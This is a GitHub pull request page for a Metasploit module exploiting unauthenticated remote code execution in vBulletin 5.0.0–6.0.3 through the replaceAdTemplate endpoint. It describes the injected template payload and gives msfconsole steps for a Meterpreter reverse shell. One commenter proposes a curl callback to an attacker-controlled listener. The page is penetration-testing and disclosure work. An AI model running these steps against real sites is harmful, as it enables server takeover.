Skip to content

vBulletin replaceAdTemplate Remote Code Execution #20235

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 15 commits into
base: master
Choose a base branch
from

Conversation

Chocapikk
Copy link
Contributor

@Chocapikk Chocapikk commented May 23, 2025

Hello Metasploit Team,

This PR introduces the unauthenticated RCE module exploit/multi/http/vbulletin_replace_ad_template_rce. It exploits a flaw in vBulletin 5.0.0–6.0.3 on PHP 8.1+ by abusing the replaceAdTemplate AJAX endpoint to inject a <vb:if> template that executes "system"("base64_decode"($_POST[<param>])), then triggers it via ajax/render/ad_<location>. No CVE has been assigned for this issue; it was publicly documented by Egidio Romano (EgiX) at Karma(In)Security: https://karmainsecurity.com/dont-call-that-protected-method-vbulletin-rce.

cc: @EgidioRomano

I've provided a vBulletin 6.0.1 package to the msfdev team by email (Please check, because I think the email has been blocked as a “security issue”) for private testing.


Verification

  • After installing vBulletin as documented, run:

    use exploit/multi/http/vbulletin_replace_ad_template_rce
    set RHOSTS <target>
    set RPORT <port>
    set TARGETURI /
    set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
    set LHOST <your IP>
    set LPORT <your port>
    run
  • Verify a Meterpreter session is established as the webserver user.

The module's documentation covers additional details on setup and usage.

Thanks for reviewing!

@Chocapikk Chocapikk force-pushed the vbulletin_replace_ad_template_rce branch from beaf745 to 1f6dd34 Compare May 23, 2025 21:17
@Chocapikk Chocapikk force-pushed the vbulletin_replace_ad_template_rce branch from aaa38b3 to 427b929 Compare May 23, 2025 22:09
@Chocapikk Chocapikk force-pushed the vbulletin_replace_ad_template_rce branch from 427b929 to 6644bfa Compare May 23, 2025 22:10
@EgidioRomano
Copy link
Contributor

@Chocapikk @jvoisin just for the records: the affected versions should be all 5.x and early 6.x versions before 6.0.4. So, it's not just 5.1.0-6.0.3, but 5.0.0-6.0.3.

@EgidioRomano
Copy link
Contributor

@Chocapikk Furthermore, I'd also suggest to revisit the check method: I believe only few web servers are exposing the X-Powered-By HTTP header, and most vBulletin websites hide the version number from the HTML. As such, I'd rewrite the check method as follow:

  1. Try to invoke the ajax/api/ad/replaceAdTemplate method passing random strings as the location and template parameter
  2. Try to invoke the ajax/render/ad_#{locaction} route and see whether the response contains the #{template} random string; if so, it's vulnerable, otherwise it's safe.

Simple and more efficient than relying on versions matching, IMHO.

@Chocapikk
Copy link
Contributor Author

Hi @EgidioRomano , Thanks for the suggestions, I'll take this into consideration, the goal being that the check function is as less intrusive as possible, but yes, I see what you mean, it's also a valid solution

@EgidioRomano
Copy link
Contributor

EgidioRomano commented May 24, 2025

@Chocapikk one more thing: furthermore, relying on versions matching could provide false positives... For instance, I guess most of the vBulletin 5.x websites out there are using the latest 5.7.5 version, but the question is that some (most?) of those websites have likely applied security patches, so they're not vulnerable... Even if your current check method would say they're vulnerable.

@Admin9961
Copy link

@EgidioRomano Complimenti 🇮🇹 invece di delegare a version matching si può tentare un approccio leggermente più aggressivo ma comunque innoquo. Si forza il target ad eseguire qualcosa come curl http://controlled_attacker_listener.com:8080 e se il listener riceve una callback, conferma che il target è vulnerabile. Quest'idea funziona, perché curl è cross-platform nel 2025, è sia su Linux che su Windows 10/11 e Windows Server moderni.

@EgidioRomano
Copy link
Contributor

🇮🇹 @Admin9961 Grazie! Si, anche il tuo metodo può funzionare... Ma come dice anche @Chocapikk, l'obiettivo è rendere la funzione check il meno intrusiva possibile, e credo che il metodo che ho suggerito io sia un pò meno "intrusivo" rispetto ad usare curl! 😅

🇬🇧 @Admin9961 Thanks! Yeah, your method might work too... But as @Chocapikk also says, the goal is to make the check method as non-intrusive as possible, and I think the method I suggested is a bit less "intrusive" than yours! 😅

@Admin9961
Copy link

@Chocapikk Furthermore, I'd also suggest to revisit the check method: I believe only few web servers are exposing the X-Powered-By HTTP header, and most vBulletin websites hide the version number from the HTML. As such, I'd rewrite the check method as follow:

1. Try to invoke the `ajax/api/ad/replaceAdTemplate` method passing random strings as the `location` and `template` parameter

2. Try to invoke the `ajax/render/ad_#{locaction}` route and see whether the response contains the `#{template}` random string; if so, it's vulnerable, otherwise it's safe.

Simple and more efficient than relying on versions matching, IMHO.

Yes this is less aggressive, I've actually missed that method. It's very optimal, implement that please @Chocapikk

@Chocapikk
Copy link
Contributor Author

Hey @Admin9961 , I'll do it. Just not right away. I've been working too hard these past few days, but yes, I'll use this method. Thanks for the feedback, guys!

@Chocapikk Chocapikk force-pushed the vbulletin_replace_ad_template_rce branch 3 times, most recently from 346e672 to c84237e Compare May 26, 2025 17:02
@Chocapikk Chocapikk force-pushed the vbulletin_replace_ad_template_rce branch 3 times, most recently from 771554e to 717b995 Compare May 26, 2025 18:00
@Chocapikk Chocapikk force-pushed the vbulletin_replace_ad_template_rce branch from 717b995 to 854d235 Compare May 26, 2025 18:04
end

def check
inject_and_trigger(:check) ? CheckCode::Appears : CheckCode::Safe
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Should this be vulnerable, since we're performing the exploit?

inject_and_trigger(:exploit, payload: payload.encoded)
end

def inject_and_trigger(mode, payload: nil)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

By using the exploit for the check, this is giving little feedback to the user. It might be worthwhile to print out status messages using something like vprint_status to the user.

'vars_post' => render_vars
)

if mode == :check
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Maybe also explicitly use false.
Yes, nil will be falsey, but in this case, we can just return the clearer value.

@Chocapikk Chocapikk force-pushed the vbulletin_replace_ad_template_rce branch from 0f22fe4 to 33439fc Compare May 29, 2025 14:30
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

5 participants